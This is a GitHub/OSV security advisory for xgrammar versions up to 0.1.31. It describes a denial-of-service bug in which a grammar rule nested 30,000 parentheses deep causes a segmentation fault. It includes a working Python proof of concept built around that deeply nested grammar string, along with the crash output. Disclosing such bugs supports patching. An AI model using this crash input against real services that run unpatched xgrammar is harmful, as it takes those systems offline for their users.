{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.1.31"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "xgrammar"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.1.32"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-25048"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-674"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-05T18:20:08Z",
    "nvd_published_at": "2026-03-05T16:16:15Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nThe multi-level nested syntax caused a segmentation fault (core dump).\n\n\n### Details\n\nA trigger stack overflow or memory exhaustion was caused by constructing a malicious grammar rule containing 30,000 layers of nested parentheses.\n\n### PoC\n\n```\n#!/usr/bin/env python3\n\"\"\"\nXGrammar - Math Expression Generation Example\n\"\"\"\n\nimport xgrammar as xgr\nimport torch\nfrom transformers import AutoModelForCausalLM, AutoTokenizer, AutoConfig\n\ns = \u0027(\u0027 * 30000 + \u0027a\u0027\ngrammar = f\"root ::= {s}\"\n\ndef main():\n    device = \"cuda\" if torch.cuda.is_available() else \"cpu\"\n    model_name = \"Qwen/Qwen2.5-0.5B-Instruct\"\n    \n    # Load model\n    model = AutoModelForCausalLM.from_pretrained(\n        model_name,\n        torch_dtype=torch.float16 if device == \"cuda\" else torch.float32,\n        device_map=device\n    )\n    tokenizer = AutoTokenizer.from_pretrained(model_name)\n    config = AutoConfig.from_pretrained(model_name)\n    \n    # Math expression grammar\n    math_grammar = grammar\n    \n    # Setup\n    tokenizer_info = xgr.TokenizerInfo.from_huggingface(\n        tokenizer,\n        vocab_size=config.vocab_size\n    )\n    compiler = xgr.GrammarCompiler(tokenizer_info)\n    compiled_grammar = compiler.compile_grammar(math_grammar)\n    \n    # Generate\n    prompt = \"Math: \"\n    inputs = tokenizer(prompt, return_tensors=\"pt\").to(device)\n    \n    xgr_processor = xgr.contrib.hf.LogitsProcessor(compiled_grammar)\n    \n    output_ids = model.generate(\n        **inputs,\n        max_new_tokens=50,\n        logits_processor=[xgr_processor]\n    )\n    \n    result = tokenizer.decode(\n        output_ids[0][len(inputs.input_ids[0]):],\n        skip_special_tokens=True\n    )\n    \n    print(f\"Generated expression: {result}\")\n\nif __name__ == \"__main__\":\n    main()\n```\n\n\n\n```\n\u003e pip show xgrammar\nName: xgrammar\nVersion: 0.1.31\nSummary: Efficient, Flexible and Portable Structured Generation\nHome-page: \nAuthor: MLC Team\nAuthor-email: \nLicense: Apache 2.0\nLocation: /home/yuelinwang/.local/lib/python3.10/site-packages\nRequires: numpy, pydantic, torch, transformers, triton, typing-extensions\nRequired-by: \n\n\u003e python3 1.py \n`torch_dtype` is deprecated! Use `dtype` instead!\nSegmentation fault (core dumped)\n```\n\n\n### Impact\n\nDoS",
  "id": "GHSA-7rgv-gqhr-fxg3",
  "modified": "2026-03-05T20:42:15Z",
  "published": "2026-03-05T18:20:08Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/mlc-ai/xgrammar/security/advisories/GHSA-7rgv-gqhr-fxg3"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25048"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mlc-ai/xgrammar"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mlc-ai/xgrammar/releases/tag/v0.1.32"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "xgrammar vulnerable to DoS via multi-layer nesting"
}